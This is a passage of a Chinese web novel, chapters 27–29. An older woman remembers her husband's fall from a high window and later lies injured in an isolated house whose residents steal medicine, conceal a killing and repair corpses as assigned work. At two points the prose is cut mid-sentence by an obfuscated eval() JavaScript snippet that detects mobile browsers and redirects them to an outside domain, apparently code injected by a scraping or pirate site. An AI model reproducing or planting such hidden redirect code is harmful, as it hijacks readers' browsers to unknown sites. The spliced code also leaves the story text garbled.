赵淑萍发觉自己就是小蚂蚁,驮着一块又一块自己想要的食物回巢穴,好不容易塞满巢穴准备休眠,又被人偷偷挖空了,让她休不了眠。 如果偷她东西的贼消失了就好了,她就不用那么累了。她可以驮一次,就够一家人吃一整个冬,根本用不着这么累。 她看男人,男人在拧螺丝,螺丝刀黏着螺丝往窗框上拧。赵淑萍突然发觉,这个男人特别没意思,除了干这些粗活,什么也不会。哦,还会偷她的钱花。 她的疲倦、劳累全部来自于这个男人。只要看见他,她就从心底开始累。如果他消失了…… 从十八楼摔下去是什么感觉?像豆腐一样碎成渣,还是连渣都没有? 赵淑萍不知道,但她见过。 他们又接了一单生意,装窗户的顾客说她家窗户质量好,让他们给他妹妹家装。他妹妹也买了这个小区的房子,在顶楼,28层。 不知道是窗框里塞了一颗螺丝,还是窗框和窗户做的尺寸不合适,窗户总是装不上去。男人将窗户取下来靠墙放着,自己扒着窗框一寸一寸找问题。 在窗框的顶部,头顶,他看见窗框中央卡着一颗螺丝钉,他搬来板凳,踩着板凳,扒着窗框,垫起脚尖伸手去拔那颗卡住的螺丝钉。 就是这个瞬间,他像断线的风筝,飞到了天空,拼了命地想要回头,却回不了头。风刮得他面目全非。脑浆和血从他的头颅、四肢百骸流出来。 赵淑萍站在窗边,往下看。28层的高度,她看不清男人的脸,只看见地上有一只小小的蚂蚁,死掉的蚂蚁。 27. 第 27 章 男人死掉的那一年,赵淑萍43岁。 赵淑萍蹲在地上哭得稀里哗啦、撕心裂肺,声音哭哑了,眼睛哭肿了,人哭晕了。 大家都觉得她可怜。家里靠她男人吃饭,男人失足坠楼,以后一个女人带着两个儿子,日子不好过啊。 安装窗户的顾客于心不忍,或许是怕赵淑萍找麻烦,给了赵淑萍两万块钱当丧葬费。 赵淑萍捏着钱,哭得浑身轻松,心情美好,像拨开乌云看见了蓝天白云和光。 男人的尸体是扫进盒子的,殡仪馆的人问她带回去土葬还是火葬。赵淑萍当天就烧了男人尸体,将骨灰洒进平城河里。 她想带儿子离开平城,但大儿子正读高三,换不了学习环境。小儿子马上也要读高中了。她就将门市收整收整,男人的工具全卖了,继续做水果生意。 做水果生意的人越来越多,家里有货车的直接上水果种植地批收,她这种在水果市场拿货的不知道经了多少手,价格压不过那些人,只能仗着水果质量好,有一些顾客,勉强维持一家人的生活。 赵淑萍又摆上了早餐摊,白天一面卖水果一面包粽子,第二天凌晨三点开始煮粽子,五点摆在路边卖。 粽子摊的生意稍微好一些,让她的经济轻松了一些。 赵淑萍46岁那年,搬水果扭到了腰,扭得很严重,医生让她卧床修养四个月。那一年,大儿子在读大二,小儿子刚刚高三,到处都要用钱。存款愈发少了。 她看着越来越少的银行数字,卧不住了,从床上爬起来,在门市门口摆一张睡椅,躺着卖水果。早餐摊没能力摆了,收益骤减。 大儿子顺利进入实习,小儿子成绩不好,勉强考上大专,私立的。私立大专学费高,各种费用一交,生活费一给,她的存款不足四位数。 大儿子的实习工资不高,她得贴钱给大儿子做生活费。自己的腰没养好,时不时地疼,阴雨天尤其,却没钱去治,更不敢跟儿子讲,就那样硬撑着。 赵淑萍几次想卖了门市回乡下,但她爸妈说乡下不好,让她留在城市里,以后儿子找媳妇也好找,现在的人都不喜欢说亲农村人。 这时候,赵淑萍就特别后悔当初没有买老奶奶的那套房子,虽然是老小区,但老奶奶便宜出给她,是她能承担的价格。如果她买了,现在将门市租出去或者卖掉,就算去路边扫地都比现在强。 小儿子在学校打了人,对方要两万块钱的赔偿费。 赵淑萍拿不出钱来,闹到警局,对方在警局有人,让他们自己协商。不赔钱,小儿子要被退学。 花了那么多钱送进大专,怎么可能读一年就退学?以后工作怎么办?怎么结婚? 赵淑萍狠了心,将门市卖了。12万买的,卖了30万,赚了18万,这个数字让她轻松不少。 她赔了钱,让儿子继续读书。自己回乡下安阳,在市区租一个简陋的房子,找一份洗碗的工作,每个月能攒下一千二。爸妈的年纪也大了,眼睛看不见,腿不好走路不方便,她在安阳,离得近,时不时能回去看看。 2014年,赵淑萍的父母去世了。 大儿子的工作也稳定了,小儿子刚出学校,频繁换工作,赵淑萍就把每个月洗碗赚的钱匀一半给小儿子做生活费。 洗碗是蹲在地上洗,有时候坐着低矮的小板凳,弯着腰,特别废腰。赵淑萍有腰伤,每天累得腰疼。两个儿子终于毕业出社会了,她把工作一辞,回了乡下爸妈的土房子,开始种菜养鸡。 50岁的年纪,她拼不动了。 乡下的日子安逸又轻松。手里卖房子的钱,加上洗碗的零碎钱,大概有33万。这个钱让她感到宁静。每一次坐在河边看夕阳落进地平线,河水橘红,她就有种错觉——自己未来的日子一定平平顺顺。 可惜,赵淑萍的名字带“平”不带“顺”。 大儿子要结婚了,彩礼18万,还想在平城买套房子。赵淑萍捏紧手里的钱,拿出18万。房子买不起,她得给小儿子留个彩礼钱。大儿子说,先给他买房,等弟弟结婚,他来出钱。 大儿子的工作很好,每个月能拿到一万多。而且他从小是个会照顾弟弟的人。赵淑萍信了,她相信自己亲自养大的儿子。 大儿子结婚了,在平城买了一套房子,贷款。结果婚后第二年,大儿子被公司辞退了。 虽然得到一笔不错的辞退金,但他们的房子买在好地段,每个月的还款高。赵淑萍的心都提起来了。她已经五十多了,出去干活没人要的年纪。 好在她的大儿子像她,哪怕遭遇了巨大的挫折也能很快爬起来。他告诉赵淑萍,他要拿辞退金去买一辆小货车,去种植基地拉水果回平城卖。 大儿子是跟着她卖水果长大的,该怎么卖水果,他清楚得很,而且他那么年轻,比赵淑萍更懂现在的水果市场。 赵淑萍没说什么,这是轮到她的儿子们闯荡的时代了。 大儿子买了货车,去山里,去偏远地区,哪个地方的什么水果好吃,他就去哪个地方拉货,拉回来,摆在菜市场路口卖。水果好吃,卖价比门市里的水果便宜,于是卖得很快。 半年下来,每个月的收入比他在公司上班还高,就是累,经常跑外地,来回长途夜车。 大儿子的老婆怀孕了,要生孩子了。那边没父母,只能赵淑萍去照看。 这一照看就是两三年,大儿子赚的钱多了,开了水果店,请了司机和店员。 店里的水果仍旧是大儿子带着司机跑外地拉,这样节约成本,利润更大。 他们出发的那天晚上,赵淑萍突然很想去外面散步,像着了魔一样。 冬天的晚上,路上的人不多。路灯昏昏暗,绿灯时车水马龙,红灯时,路口清净。 她抱着小小的孙子,在路边慢悠悠地走,给他唱着小儿歌。 就是那一晚…… 灯光刺了眼,像一把锋利的刀,扎穿了她的眼球。赵淑萍浑身一震,猛地清醒过来。 “您醒了!” 余有为从床边站起,俯身看她。 赵淑萍愣愣地望着顶灯许久,有点恍如隔世。腰间的疼痛让她回过了神。 她“啊”了一声,说腰痛,尾椎骨也痛,浑身疼,想喝水。 …… 赵淑萍的尾椎骨摔断了,腰也折了。房子里没人会看骨头,谁也治不了赵淑萍。 外面的暴雨持续性地下,噼里啪啦。天黑得像没有白天。 钱晓文让赵淑萍多吃点维生素,维持身体营养,然后卧床修养,等雨停下山,或者等Jck的人上山。 赵淑萍又开启了长时间的卧床,人生第二次。余有为每天去看她,给她端午饭。 周志笑余有为:“你勤快得像她亲人。” 余有为愣住,抽出烟点上,“在我房间摔倒的嘛,老年人嘛,最喜欢讹人了。她要是下山后讹上我,我可没钱赔。” 周志笑笑,没说话了。 悦凌凌问:“她怎么摔的啊?摔那么严重。” 房间里的空气陡然寂静,大家看向她。悦凌凌反问怎么了。张情嗤笑:“忘记了?” 悦凌凌不喜欢张情这个人,可以说是非常非常的讨厌。她拒绝和张情说话。 张情可懂了,对她笑,咯咯地娇笑。笑得悦凌凌心里无端愤怒,瞪着眼睛怒视张情。 隔着餐桌,张情鲜红尖锐的指甲冲她轻轻一点,“你啊,你把人推到的啊。” 悦凌凌呆住了。 她完全想不起来了。 “什么时候?”她怀疑张情骗她。张情这个老女人最爱恶心她。 “哪天来着?”张情仔细想,“哦,前天啊,你喝醉酒的那次。” 悦凌凌还是想不起来,她只记得那天喝醉了,陈宇南答应和她在一起了,她回房间睡了一觉,再睡醒时,看见张情和陈宇南……她恶狠狠地去看陈宇南,陈宇南已经不坐平月身边了,他坐在餐桌的最边上,和平月离得远远的,怕被平月看见似的。 悦凌凌哼了一声,“我去看奶。” 余有为让她等一会,熬的骨头汤马上好了,一并端过去。 悦凌凌舀了饭,把余有为专门为赵淑萍做的菜放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046157|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进托盘,再打上一碗骨头汤。端去赵淑萍房间。 “说了让你别来了。”赵淑萍听见开门声,躺在床上说话,她以为又是余有为亲自端来的。 “奶,是我。” 房间寂静。 赵淑萍看了他一眼,扭开头去。 “奶,您好点没?”悦凌凌把餐盘放在床边的桌上,“我扶您起来吃饭,刚出锅的汤,热热乎乎的可香了。”说着,她伸手去扶着赵淑萍。 “走开!”赵淑萍一把挥开她。悦凌凌正好是弯下腰扶她的动作,赵淑萍那一挥直接挥到了悦凌凌脸上。“啪”的一声巴掌响在房间里格外清脆。 悦凌凌僵硬在床边,睁着圆圆的眼,一脸不可置信。赵淑萍看她的眼神充满了厌恶、憎恨。赵淑萍想不明白,悦凌凌把她伤成这样,她就没有一点愧疚吗? 赵淑萍懒得再看她那张脸,让她走。 这样的赵淑萍让悦凌凌想起很多的不堪,在这个房子里,似乎没有人喜欢她,所有人都在讨厌她,陈宇南也讨厌她。她想不明白,为什么一直对她好、护着她的赵淑萍也变得讨厌她了。 她哪里做错了? “奶……” 悦凌凌怯怯地叫,心底升出浓烈的憎恨和不甘,就算是她推了赵淑萍,可她不记得了,完全想不起来了。 为什么要和一个什么都不记得的人计较?而且……那也不能怪她啊,都是张情,应该怪张情给她喝了酒。如果没有张情,她就不会喝酒,也不会推她,让她变成这样。 所有的一切,所有事情,都是张情起的头。他们要怪,应该怪张情去啊,关她什么事? 悦凌凌越想越委屈,越想越恨,越想越觉得张情该死。如果没有张情……陈宇南会看见她,他答应要和她在一起,却被张情插了足。如果没有张情,奶不会变成这样,更不会讨厌她。她不会成为这个房子里最令人讨厌的人。她从来都不是让人讨厌的人。她妈妈说了,她是一个乖孩子,所有人都会喜欢的乖孩子…… 都是张情…… 她在床边蹲下来,拉住赵淑萍的手,呜呜咽咽地哭:“对不起奶,我不是故意的,就是喝多了,人糊涂了,不知道自己在干什么……我以后再也不喝酒了,奶您原谅我吧,我以后再也不喝酒了。” “奶,是我不对,等雨停了,我立刻背您下山去看医生。以后不管怎么样,我都会照顾您,一直照顾您。” “奶,您别讨厌我……如果您也讨厌我,这里就没人喜欢我了……” 她一直哭,一直道歉。赵淑萍心软了几分,从一开始,她就挺喜欢这个小姑娘。而且人喝醉酒确实会做糊涂事,特别是她这样没有喝过酒的小姑娘。 这么多年了,她仍旧是个心软的人。像她的男人,她会一遍又一遍的原谅,直到完全原谅不下去。悦凌凌……还是一个孩子,二十开头的纯粹的小女孩。 “你啊……”赵淑萍叹气,“扶我起来吃饭吧。” 悦凌凌把眼泪一擦,将枕头在床头垫一层又一层,扶起赵淑萍靠在上面。 碗筷递给赵淑萍,赵淑萍要吃什么菜,她就将菜碗端到赵淑萍面前,方便她夹。 饭吃完了,汤喝光了。赵淑萍说想去上厕所,悦凌凌问她能走吗?赵淑萍说:“勉强,你扶我进去。” 悦凌凌扶她到马桶边,她坐下时只敢用腿贴着马桶当支撑点,不敢完全坐下去。 悦凌凌关上门,站在门口等。门口有一个立柜,上面放着药箱。悦凌凌在门与药箱之间来回扫了几圈,突然打开药箱,拿了一板药揣进衣服里。 里面响起抽水声音,她急急盒上药箱,叫了一声奶,推开门,扶着赵淑萍回了床上。 悦凌凌陪赵淑萍说了一会儿话,喂赵淑萍吃了几颗维生素,赵淑萍的睡意来了,她才端着碗筷离开。 走在走廊里,那藏在衣服里的药板贴在腰边,随着她的行走,刮得腰际的皮肤生疼。 悦凌凌不知道自己为什么会突然去拿赵淑萍的药,她也不知道自己拿的是什么药。 但…… 总归有用的吧? 28. 第 28 章 赵淑萍晚上吃药的时候发现少了一板药。她年纪大,但比起同龄人,记忆力很好。 药箱里有什么药,她每天吃了什么药,还有什么药,她记得很清楚。 “少了啥?” 余有为把药全部抖出来。 “长啥样,是不是掉床下了?” “马来什么片,降压的。”赵淑萍将桌上的药挨个翻看,昨天她新拆了一盒,想着时不时都要吃,就拿了一板出来单放。 赵淑萍的床与地面齐平,没有缝隙,除了头发,什么东西都掉不进去。 他绕床找了一圈,窗边桌下都找了,也没找到。 余有为:“这个药还有嘛?” 赵淑萍:“有。” 余有为:“那你重新拆一盒,没找到就算了。过几天下山了就好了。” “担心啊。”赵淑萍说,“药怎么会无缘无故不见了,这心里慌。” “还能被人拿去吃了不成?”余有为没太放心上,“这儿除了您,也没人敢吃啊。别担心。” 赵淑萍说:“以后你还是少来吧,来多了,容易引人注意。” 十年前,他们分开的那一晚就约定好,以后见面只当不认识。这些年来,赵淑萍从没想过会再见到余有为。包括张情说她是被儿子丢来这里等死的那晚,余有为来敲她的门,她也装作没听见,没应声。 余有为扯了扯嘴,“我也没想到您会来这里,真的是他帮您报的名么?” 赵淑萍默认了。报名的场景再清晰不过,一家人围在电脑前,大儿子敲着键盘,二儿子和媳妇、囡囡围在他身旁,赵淑萍和圆圆坐在沙发里,她织着毛衣,圆圆给她挽毛线。 囡囡笑着说:“奶奶,报好了您就可以出去旅游了!”那张笑脸,和窗外的阳光一样明媚。 后来她去公园里,平常一起聊天的老头老奶都说羡慕她。像他们这个年纪,要么给儿女带儿女,要么一个人独住,儿女少来往。只有她,大儿子虽然在平城,却常来安阳看她。除了二儿媳妇喜欢管太多,日子也算过得热闹温暖。 报名成功后,一大家人替她打点行李,家里有的装上,没有的出去买,囡囡还专门替她点好了够吃两个月的药,让她记得吃。 “我一直觉得他……”余有为垂下了头,“他挺好的,是个好人。怎么会这样……误会吧……或许……他太忙忘记告诉您了,您知道,他的生意越做越大,就是忙。” 再忙,不是还有二儿子吗,还有二儿媳妇吗,怎么所有人像突然失忆一样忘记告诉她要学的课程是什么,需要交什么作业? 赵淑萍懒得想其中的缘由,她这辈子见过太多,想太透没意思。活到她这个年纪,没几年就要死了,稀里糊涂地活到自然死亡算是一种好事。虽然她没那么想死,年轻时候会想死,死了一了百了,不那么累。人老了,反而越想活。她想活,长长久久的活,那就得更懂得装糊涂。 赵淑萍转移话题:“你去当厨师了啊,手艺好。” 余有为抬起头来,窗外暴雨朦胧,他摸出烟,想抽,又想起赵淑萍在旁边,把烟放了回去。 “我嘛,没啥本事,干啥都不成,不好找工作,就去馆子里给人当墩子。后来主厨的徒弟走了,招不到人,就问我愿不愿意干。这也是一行本事嘛,想着学会了以后干点啥都有点技术在身,就干了。” 没想到还有点天赋在身上,干着干着把主厨干跑了,他反而成了主厨。人的位置越高,就越想往更高的地方爬。他也一样。 他换了一个更大的餐馆,从炒菜师傅干起。干到了副厨,又干到主厨,再换到大城市的大餐馆,就是他现在的餐馆,干了几年,如今也是个主厨了。 赵淑萍笑道:“挺好的,越来越有出息了。”想当初,他还是个黄头发的愣头青。 余有为笑了,是那种发自内心地笑。 “唉,你在啊,那我来得真不是时候。”周志站在门口,笑着看屋内。 余有为的笑意怔在脸上,下一秒,他站起身,对赵淑萍说:“您没事就好了,我回去了。” 他往门口走,冲周志点了点头,周志让开路,他错身走出房间。 “小志来了,快进来。”赵淑萍对周志招招手,“你说余有为这个人,真是奇怪,怕我讹他,天天来看我,我看起来像那么不讲理的人嘛?我每天吃他的喝他的,就算是铁石心肠也不敢讹啊。” “真要讹,也是讹悦凌凌那毛丫头,成天不知轻重,讹她正好让她长长记性。” 门外的悦凌凌的愣住。她揪住自己的衣摆,脸色极其难看。 对啊,如果是她撞倒的人,赵淑萍要讹她……她一定一定会被她妈打死的,一定,毫不开玩笑的那种。 周志笑道:“你别这样说,当心人听心里去了,难受。” “诶?”赵淑萍探头往门口瞧,“小苹果也来了啊,快进来。” 她刚才还用那种凶凶的语气说她,看见她立刻就变成笑笑的了。变脸可真快。 悦凌凌不知道该用哪种表情面对赵淑萍,迟疑了几步,才走进去,扬起笑脸叫:“奶。” 赵淑萍说:“你们怎么想着一起来看我了?” 悦凌凌说:“晚上了,担心您醒了不方便。” 赵淑萍拉着悦凌凌的手,笑得和蔼可亲:“真是辛苦你了。” 周志问她好点没。赵淑萍摆摆手,“就是疼,不过不动就还好。这种伤嘛,得慢慢养。” 周志:“有余大厨在,你这伤,肯定养的好得很。” 赵淑萍笑笑:“借你吉言了。” 周志:“小悦刚才还和我说,你这伤啊,让余大厨怕得很,看你们关系这样好,倒有点出乎意料。” 悦凌凌:“对啊。奶,要说您以前和余大哥认识,我都信。” 赵淑萍:“啊?”了一声,脸上的笑意快僵住了,还勉强挂上一副不解的笑容。 悦凌凌说:“就是一种感觉,懂吧?” “你们小年轻就是什么感觉啊感觉的,我老喽,可不懂。”赵淑萍岔开话题,“这么晚还不睡觉,你作业做了吗?” 悦凌凌浑身一炸,顿时丢下一句“我回去写作业了”就跑了。那毛手毛脚的样子逗得赵淑萍哈哈大笑。 周志却不急,换了个话题和赵淑萍聊了一会,陪着她吃完了药,才回去。 他离开后,赵淑萍整个人都像从钢丝绳上走下来的,惊出了一身的汗水。 余有为……真是一个让人不愿意回想过去的名字。 每每想起,一些令人痛苦的往事就会一遍又一遍地冲刷脑海,将她冲得支离破碎。 赵淑萍自认为自己什么都经历过了,不会再为了一些事情而大惊大噩,但从见到余有为开始,她的心脏深处,始终弥漫着一股不安感。说不清道不明,也抓不到。让她每晚惶惶不安,睡不着,睡不踏实。特别是范明胜死后。就像悦凌凌说的,感觉,有一种感觉,她觉得她和余有为在这里遇见,不是巧合。 可要说是预谋,她也说不清是谁在预谋,为什么预谋。余有为是受老板的嘱咐,来学习厨艺的,从这一点上讲,和她黏不上任何关系。 药效起了,赵淑萍昏昏沉沉地睡过去。脑袋偏向衣柜那面,迷迷瞪瞪的,她好像看见衣柜门被一只手推开,有人从衣柜里走出来,站在她的床边,居高临下地俯视她。 那个眼神,冰冷,幽暗,就、就像当年她站在路边,抱着小小的孙子,静静地看着脚边的碎片,碎片折射出她的影子也是这样,冰冷,像被冬天的低温给冻住了,昏黄的路灯照不暖。 赵淑萍一下子惊醒了。额头淌下一层一层的冷汗,整个身体被汗水浸得冰凉。 她慌慌张张去看床边,床边没人。衣柜也紧紧闭着。室内的灯没有光,她看得清清楚楚。 心跳得很快,噔噔噔,压过了窗外的暴雨。 赵淑萍被浑身的冷汗冰得打了个冷颤。她慢腾腾爬起来,每挪动一下,腰部连着尾椎骨那一圈就疼得慌。 再疼也得去用温水擦一下身体,否则,她明天一定会发高烧。人老了,就经不住折腾,出一点冷汗就容易生病,特别是这种阴雨天气。 太疼了,疼得喘不过气来。 赵淑萍直接从床上摔了下去,床很高,摔下去,地板被震得嗡了一声,就像摔半扇猪肉在地上一样,连骨带肉也是有份量的。 这一摔,尾椎骨更疼了,腰也更疼了。赵淑萍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049433|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼得叫出了声,嘶嘶嚎叫。 她扯开嗓子,用老人年沙哑的嗓音,大声叫人,一遍又一遍地叫。 半夜十二点,对于现在的年轻人而言,正是享受私人空间的时间点,肯定有人没睡。 赵淑萍不断祈求有人能听见,然后来看看她。她实在动不了了,动不了一点。 随着惨叫声越来越沙哑,她的喉咙越来越痛,门仍旧静悄悄的没有被推开的迹象,她心里特别后悔,后悔自己下什么床,最多就是个感冒,发个烧,她有药,多吃两道药就好了,没必要折腾去厕所非要擦澡。 都是自己多事。 怎么就一时想不开? 赵淑萍悔得眼泪都流了出来,更多的是痛,痛到流出了生理泪水。 暴雨呼啸的午夜,赵淑萍的隔壁是张情房间,张情这一晚在陈宇南房间。 赵淑萍的另一边是钱晓文,钱晓文正烦躁不安。她的下\体感染愈发严重了,早上只是痒,内裤一点点发臭。现在,她的下\体流出粘稠的水,恶臭的水,内裤穿不了多久就变湿了,散发着浓郁的恶臭。熏得她自己都在反胃。 她用碘伏清洗下\体,洗完舒服了一点,过不了几分钟,又开始痒,痒得人狂躁想发疯。 她要下山,必须下山,必须去医院。再不去,再不去……她不知道自己会怎么样。 她用指甲抓痒,用指甲掐,像挠痒痒一样,挠的时候好了一点,但是最后只会越来越痒,痒到发疼。这样的情况,比死还折磨人。疼得人受不住的时候,钱晓文真的生出过不如死了算了的想法。 隔壁的老太婆在喊人去看看她。那难听的声音,落在钱晓文的耳朵里,像魔音,让钱晓文感到愤怒。 她想起赵淑萍偷偷溜进她房间的场景,想起那一天,她的床单被血染透了,屋里上上下下全是她小产后流出来的血,还有一具破碎不堪的尸体。 她不知道赵淑萍怎么想,也不知道赵淑萍有没有告诉别人。 大概没有吧,不然他们肯定会用异样的戒备的眼光盯着她。然而赵淑萍躺在房间里的这两天,很太平。 这是最好的情形了,如果被人知道,这房子里的人真的会将她认定成杀死范明胜的凶手,尽管她是,但不能让人认为她是。 所以不能让赵淑萍把她房间里的事情说出去。不说去的最好办法,那就是死人了。 隔着一面墙,钱晓文装作没听见赵淑萍的惨叫。 她把热水器调到最高温度,放很烫的水烫洗内裤,擦碘伏,吃大量的维生素。 维生素的瓶子见了底,她还需要。这些天,只有吃大量维生素才会好上那么一点点。一旦哪天吃的少了,难熬的痛苦会立刻席卷而来,让她想死。 她换了一身干净的衣服,趁着没那么痒的的时候,去找平月要维生素。平月还没睡,听她要五瓶,什么都没问,从抽屉提出药袋,拿五瓶给她,还问她够不够。 那一大袋里,三分之二的维生素。 钱晓文问她怎么带这么多。 平月将药袋放进抽屉里,说:“我注意力不集中,吃维生素能让我更高效的工作。” 钱晓文发现每一行都有一行的难。 钱晓文自己能做到现在这个地步,让很多人愿意找她修复尸体,靠的就是她每晚每晚的不断练习。 白天,她上班。晚上,回了宿舍,她要掏出人的肢体、头颅,捧着它们,坐在窗边,一遍又一遍给它们修补溃烂的皮肤、上妆、梳头发,让它们重新变成一个完整又漂亮的人。 听起来很瘆人,但做的时候,尽管是半夜三更,全身心的投入进去,是感受不到恐怖和害怕的。 有时累了,她抬头看看月亮。月亮升得高,说明很早,她还能再补一颗头,月亮淡淡的,说明快天亮了,她得睡了。 钱晓文忽然想起来,她很久没有修补尸体了。自从范明胜出事之后。她应该修复房间里的尸体,这样才有饭吃。 只吃维生素,不吃饭是不行的。她都开始掉很多头发了,大把大把地掉。 钱晓文回房间后,坐到尸体旁边,从桶里捞出碎成一块一块的斑驳的血淋淋的皮肤,覆盖到破烂的尸身上,开始一针一线地修复。 29. 第 29 章 修补到凌晨五点,钱晓文累得睁不开眼——她的身体越来越虚弱,无法像以前那样专心致志地熬夜做事了。 打个哈欠,在尸体脑袋上方的墙壁上摁下“提交作业”的按钮。那是事实检测系统,摁下之后,会有一道红光扫描尸身,将她已修复的地方扫描到老师那里。 扫描完了,钱晓文去泡了碘伏浴,吃了一大把维生素,睡意愈发的困,不知是维生素起了作用,还是碘伏起的作用,下\体的不适感短暂的消失了。 她躺到床上,很快地睡了过去。 也很快醒来,是被人拍门拍醒的,慌慌噔噔地拍门,很急切的样子。 隔着门,悦凌凌大喊:“吃饭了!” 喊的时候,悦凌凌几乎是贴在走廊栏杆上,离钱晓文的门远远的,生怕被她捉进去杀了。后来想一想,余有为让她来叫钱晓文,大家都知道她来了,真被钱晓文杀了,大家都知道是钱晓文干的。钱晓文可没那么傻。 她拍拍胸脯,鼓起勇气站到房门一寸之外,继续梆梆梆地拍门喊人。 钱晓文扶着额头起来,只睡了几个小时,她的头非常的痛。在六点之前交了一次作业了,会有早餐的。 “你们吃吧。”她塞上拖鞋去上了个厕所。 悦凌凌在外面问她:“你不吃啊?” 钱晓文没听见。在悦凌凌看来,这就是沉默的应答。虽然很疑惑钱晓文为什么不吃了,但少一个人吃饭,大家就能多吃一点。毕竟余有为的食材是限量的,他们每天都是光盘。 悦凌凌回了余有为房间,说钱晓文不过来吃饭了。 余有为叼着烟,诧异:“咋不吃了?生病了?” 悦凌凌嘟囔:“谁生病她都不会生病。”那么强悍的人,怎么可能生病嘛。 周志笑道:“她交作业了吧?可能有饭吃了,哪像我们,懒惰的。” 这话就像在点悦凌凌,每个人见她都爱问她写作业没。悦凌凌的脸登时挂不住了,反驳道:“我交了也没饭啊。” 交了也没饭——钱晓文怔愣在出餐口前。她打开屋里所有的灯,甚至拿出手机点开手电筒。黑压压的出餐口被照得雪亮,里面空无一物。 她交了作业,为什么没有饭? 扫描出问题了? 钱晓文用力摁下提交作业的按钮,扫面光线从尸体的头颅覆盖到脚趾,又从脚趾扫回头颅,最后收进墙壁。 没有任何问题,她初来的那两天,也是这样。出餐口每天按时出餐。难道是她几天没有提交作业,只提交一次不行? 肚子发出咕噜叫,胃部在收缩,她很饿,非常的饿。上一次吃饭是在昨天中午。突如其来的饥饿感几乎要把她吞没。 来不及思考这是怎么回事,急匆匆套上外套,直奔余有为的房间。 他们已经开始吃了,风卷残云。 周志笑着说:“你来了。小悦还说你不来。” 钱晓文说:“上厕所去了,没听见她说什么。” 悦凌凌吐吐舌头,“又不怪我。” 钱晓文:“没怪你。” 余有为吃了两口麻辣鱼,开始咳嗽,侧身弯着腰,连续性咳了半分钟。 悦凌凌急忙给他倒水,问他怎么了。 他喝了口水,声音都咳哑了:“可能是感冒了。”从昨天开始,喉咙有一丝丝的痒意,今天尤其明显,特别是沾了辣椒之后。 悦凌凌:“你吃点感冒药吧……”要是余有为倒了,他们的饭就没希望了。 余有为:“小事小事,没事儿。你们快吃,快吃。” 只是一丁点的小插曲,谁也没放在心上。 饭吃完了,灶上的骨头汤也炖好了。余有为想自己给赵淑萍送过去,又想起昨天被周志撞上的事情。送多了,别人真的会猜测他们之间的关系。 他让悦凌凌去送。 悦凌凌盯向陈宇南,说:“陈宇南,你还没去看过奶呢。” 陈宇南骗过头来,说:“有空去。” 悦凌凌嬉笑:“现在谁还没点空啊,好忙哦,忙着干什么啊?”她看了张情一眼,张情抱着猫,那染了鲜红指甲的手指有一搭没一搭的抚摸着猫咪的毛发。 张情什么人没见过啊,悦凌凌的小心思,她看得透透的。却不点开,笑盈盈地和悦凌凌对视,那上扬的眼线,几乎是在以一种戏谑的目光迎视悦凌凌。 悦凌凌笑不住了。她真的好讨厌好讨厌张情。原本以为看见陈宇南和张情那样在一起了,她不在意了。谁想,昨晚听见张情又来找陈宇南,他们每天从早到晚,一遍又一遍地在她眼里晃荡,在她耳朵里晃荡。她还是很难受,心像被人扎了一刀又一刀,比没有饭吃还难受。 余有为装好了骨头汤和饭,悦凌凌端着去赵淑萍那里了。等赵淑萍吃完饭和药,睡过去时,她才离开。 出门的时候,恰巧看见张情提着一瓶红酒进了陈宇南的房间。这是他们的日常,他们每天都在喝酒。悦凌凌有时从陈宇南门口过,没关上的房间门,能看见里面的地上、桌上全是酒瓶。 陈宇南的房间不再像以前那样干净了,他的那些音乐设备再也没动过了。他这个人变得非常肮脏。肮脏到悦凌凌又恨又难受,还有隐藏的爱意和不甘心。 悦凌凌捏紧了手里的托盘,匆匆地去了余有为房间。余有为坐在窗边抽烟,周志在厨台前洗碗。托盘搁在厨台上,余有为回头看了一眼,见碗里的汤和饭都吃完了,才对悦凌凌说:“锅里还有点汤,你要喝酒喝吧。” 喝,当然得喝。 有吃的,就算是撑也要撑进肚子里去。否则,晚上饿得睡不着的时候,能后悔到撞墙。尤其是好不容易睡着了,第二天醒来会更加的饿,饿的发疯。 悦凌凌问他们喝吗。周志说:“刚才大家喝过了,专门给你留的。” 悦凌凌笑眯了眼,她忽然觉得这个房子里,只有周志和余有为最好。 余有为抽完一支烟,烟蒂在玻璃上摁熄了丢进垃圾桶。站起身时又开始咳了,咳得非常凶,像喘不过气。扶着玻璃,咳得肩膀都在颤抖。 周志难得皱了眉:“你没事吧?平月那里可能有感冒药,要不你去要点?这个时候生病了可不是好事。” 余有为咳完了,想说不是啥大事。转念一想,周志说得极对。在这种天气,这种荒无人烟的地方,生病了可不是好事,就像赵淑萍,只能原地等待。 他走到厨台前,拎过水壶带一杯水。悦凌凌喝完了汤,将碗放下,一抹嘴,抬头对余有为说:“谢谢啊,余大……诶!你嘴巴……是血还是什么啊?” 周志洗碗的手顿住,跟着看过来。余有为摸了一下嘴巴,“哪儿?”手上没东西啊。 悦凌凌指了指嘴皮中央。余有为使劲揩了一下,手背上瞬间沾上点点红色,血的颜色。 他冲进厕所。镜子里的余有为,嘴皮上确实沾了血。不多,只有一丝丝,不仔细看也看不见。 那一瞬间,余有为懵了。周志的话再次闪过脑海。余有为非常肯定的想,对的,他该去要点药。感冒药之类的。也应该去找钱晓文看看他这是什么问题。 